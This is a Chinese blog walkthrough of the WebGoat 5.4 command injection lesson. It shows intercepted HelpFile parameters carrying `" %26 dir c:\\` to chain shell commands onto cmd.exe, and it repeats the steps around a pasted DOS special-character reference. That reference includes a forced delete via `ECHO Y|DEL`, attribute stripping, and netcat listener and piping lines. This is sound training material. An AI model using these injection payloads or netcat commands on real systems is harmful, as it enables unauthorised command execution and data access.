WebGoat Command Injection sample
2014-04-05 09:37
253 查看
实验准备(假设WebGoat已经运行):
1)启动IE并设置代理:工具--Internet选项--连接---局域网设置--代理服务器
2)开启WebScarab并勾选 Intercept requests
测试:
1)测试对输入是否进行了过滤?
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help;test
执行后,发现未对输入进行验证直接执行了
可以看出执行时使用了cmd.exe 直接运行dos指令。
那么需要找到可以连接dos指令的符号,google下dos常用符号:
比较&、&&、||三个符号的用法,还是&比较宽泛些。
2)测试是否对&字符进行了过滤:
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help & dir c:\\
执行后,看到运行的是BasicAuthentication.help没有 & dir c:\\的任何信息。
可能是当& submit=view处理掉了,那是否可用%26 替换& 呢?
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help %26 dir c:\\
执行后输出:
ExecResults for 'cmd.exe /c type "C:\Documents and Settings\Administrator\??\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\BasicAuthentication.html & dir c:"'
Returncode: 1
Bad return code (expected 0)
OK当&提取进行了执行,那么现在只需要构造下格式,使其先执行html再执行dir命令:
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help" %26 dir c:\\
执行通过:
1)启动IE并设置代理:工具--Internet选项--连接---局域网设置--代理服务器
2)开启WebScarab并勾选 Intercept requests
测试:
1)测试对输入是否进行了过滤?
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help;test
执行后,发现未对输入进行验证直接执行了
可以看出执行时使用了cmd.exe 直接运行dos指令。
那么需要找到可以连接dos指令的符号,google下dos常用符号:
1、“*”篇——星号,通配符,表示任意个字符。如: del c:\windows\*.log 2、“?”篇——英文问号,通配符,表示任意一个字符。如: net ?ser 3、“,”篇——英文逗号,取消所有属性;有时候也可以当空格使用用于分隔命令。 案例一:查看当前目录下任何属性的文件。 我们经常用DOS中的DIR命令,可是我们只能看到只读和存档的文件。根本看不到隐藏的文件。有时起不了机器,为了挽救数据进入DOS,可是重要文件有隐藏的怎么办。慢慢来吗?我们可以有DIR命令加“,”来解决它。比如:重要数据在“C:\12345”文件夹中,可是我们DIR后不能看到全部。可以用“C:\12345\DIR,”,哈哈!12345文件夹中的文件全都出来了。很强大吧! 案例二:取消硬盘上所有文件的所有属性。 我们可以试一试下面的命令:“C:\ATTRIB,”屏幕上毫无反应地又回到DOS提示符状态下,注意有没有听到硬盘有轻微响声,有没有看到硬盘指示灯一阵狂闪片刻后一切都回到平静,好象什么事情都没有发生。真的什么事都没有吗?你可以找一个隐藏文件看看。如在C盘根目录“C:\DIR”,你看到什么了。没有骗你吧!自己回去试吧! 案例三:与空格作用相同。 echo, dir,c:\ 4、“.”篇——英文句号。表示当前目录: DOS状态下有*.*很麻烦,我们可以直接用“.”,比如:“Copy.”等价于“Copy *.*”,“Del.”等价于“Del *.*”。如: dir .\ 5、“..”篇——双英文句号。表示上一级目录,如: cd.. 6、“ ”篇——空格。界定符,通常用来引用含有空格的目录。如 dir "C:\Documents and Settings" 7、“|”篇——管道符号。自动回答批处理文件的提问: MS-DOS用管道通信的形式为不同的程序间的信息传递提供了方便,这是输入输出重新定向功能的扩展。DOS用“|”表示管道,这个符号左右是两条合法的DOS命令或应用程序名。通过管道,DOS把前一个DOS命令或应用程序的标准输出作为后面的DOS命令或应用程序的标准输入。 我们用批处理文件时,经常会遇到用户要通过输入“Y”或“N”来进行选择。我们可以用“|”来帮助我们自动应答。格式:“ECHO 答复语|命令文件内容”。例如:“ECHO Y|DEL C:\Windows\Temp\*.*”,在询问是否真的删除时自动回答“Y”。 8、“+”篇——加号,把秘密藏起来: 我们在电脑中存放很多重要数据。很怕别人搞破坏,用隐藏软件。现在什么都可以破解。怎么办呢?我们可以隐藏到一个他想不到的地方。比如:把001.txt和002.txt拷贝成为003.txt文件。那些人不会连文本也不放过把除非你犯了什么大事,再不那个人脑袋一定有问题。可以用如下格式:“Copy 001.txt+002.txt 003.txt”我是用过了,还可以。自己去试一试,总听别人的! 9、“:”篇——英文冒号,用作标号符号或标签定位符。起解释命令行或者标明后面内容是一个标签名的作用: 在DOS批处理文件中我们常使用REM命令来注释命令,我们完全可以用“:”,效果是一样的!如: @echo off :start echo Hello world,heiying is there.. pause goto start 使用条件处理符号可以从单个命令行或脚本运行多个命令。通过条件处理符号运行多个命令时,条件处理符号右边的命令根据左边的命令结果来发挥作用。例如,只有在前一个命令失败的情况下,才可能需要运行一个新命令。或者,只有在前一个命令成功时才可能需要运行一个新命令。可以使用下表列出的特殊字符来传递多个命令。 10、“&”篇——命令连接符号.就是把两个命令连续执行,不用换行。用来分隔一个命令行中的多个命令。Cmd命令提示符先运行第一个命令,然后运行第二个命令。命令格式“command1 & command2”。如: dir c:\ & dir d:\ & dir e:\ 11、“&&”篇——只有在符号“&&”前面的命令成功后,才运行该符号后面的命令。Cmd命令提示符先运行第一个命令,然后在第一个命令运行成功后才运行第二个命令。命令格式“command1 && command2”。 12、“||”篇——只有在符号“||”前面的命令失败时,才运行该符号后面的命令。Cmd命令提示符先运行第一个命令,然后在第一个命令未能运行成功(接收到大于零的错误代码)时才运行第二个命令。命令格式“command1 || command2”。 13、“()”篇——英文小括号,用来分组或嵌套多个命令。命令格式“(command1 & command2)” 14、“;”或“,”篇——英文分号或逗号,当命令相同的时候可以将不同的目标用“;”隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告,但程序还是会继续执行用来分隔命令参数。“,”此时也可用作缺省分隔的符号,和空格一样。命令格式“command1 parameter1;parameter2” 【注意】“与”符号 (&)、“管道”符号 (|) ,以及括号 () 是特殊字符,将它们作为参数传递时,必须在其前面加上转义字符 (^) 或引号。如果某个命令成功完成操作,则该命令就返回零 (0) 退出代码或不返回任何退出代码。 15、“>”篇——重定向符,将命令的输出结果重定向到其后面的设备中去,后面的设备中的内容被覆盖。常用于创建一个文件。如 dir c:\ >d:\test.txt 16、“>>”篇——重定向符,将命令的输出结果重定向到其后面的设备中去,后面的设备中的内容会被增加在后面。常用于将内容追加到一个文件后面。如 dir c:\ >>d:\test.txt dir d:\ >>d:\test.txt 17、“<”篇——重定向符,将后面的指定设备的内容,作为前面命令的输入内容。如: 建立一个名为“1.txt”的文件, net user nc -l -v -p 888 nc 127.0.0.1 888 <1.txt 18、“@”篇——前缀字符,表示执行时本行在cmd里面不显示, 可以使用“@echo off”关闭显示。 19、“^”篇——对特殊符号( 如“>”、“ <”、“ &”等)的前导字符,可以取消特殊符号的作用。如: echo ^> >1.txt 该命令将创建一个名为“1.txt”,内容为“>”的文本文件。 另外,下面的命令: echo 123456 ^> aaa echo 123456 > bbb 第一个只是显示“123456 aaa”,第二个则创建一个名为“bbb”,内容为“123456”的文件。 20、“%”篇——英文百分号。有点特殊,先讲一个%0 它可以返回批处理所在绝对路径。如: @echo off net user %0 |
2)测试是否对&字符进行了过滤:
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help & dir c:\\
执行后,看到运行的是BasicAuthentication.help没有 & dir c:\\的任何信息。
可能是当& submit=view处理掉了,那是否可用%26 替换& 呢?
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help %26 dir c:\\
执行后输出:
ExecResults for 'cmd.exe /c type "C:\Documents and Settings\Administrator\??\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\BasicAuthentication.html & dir c:"'
Returncode: 1
Bad return code (expected 0)
OK当&提取进行了执行,那么现在只需要构造下格式,使其先执行html再执行dir命令:
选择BasicAuthentication.help,查看拦截下的数据包,并修改HelpFile=BasicAuthentication.help为HelpFile=BasicAuthentication.help" %26 dir c:\\
执行通过:
相关文章推荐
- Command Injection Flaws Attack(WebGoat5.4)
- WPF RoutedEvent and Command Sample
- Just a sample case about rebuilding standby database using dd command
- Microsoft IIS FTP Service CVE-2012-2532 Remote Command Injection Vulnerability
- Huawei E587 3G Mobile Hotspot Command Injection
- web常见攻击二——命令注入攻击(Command Injection Execution)
- DVWA(V1.10)中Command Injection的high等级绕过
- Blind SQL injection sample
- meterpreter Command Sample
- unix find command tutorial and sample code
- (You Can Hack It, Architecture and Design) => { Dependency Injection; MEF sample; }
- DVWA 之命令注入(Command Injection)
- DVWA - Command Injection (low, medium, high)
- Internet Explorer FTP command injection
- WebGoat教程学习(七)--XPATH 注入(XPATH-Injection)
- DVWA笔记之二:Command Injection
- DVWA-1.9全级别教程之Command Injection
- Blind Numeric SQL Injection练习的一些关键点记录(WebGoat5.4)
- Data Exfiltration via Blind OS Command Injection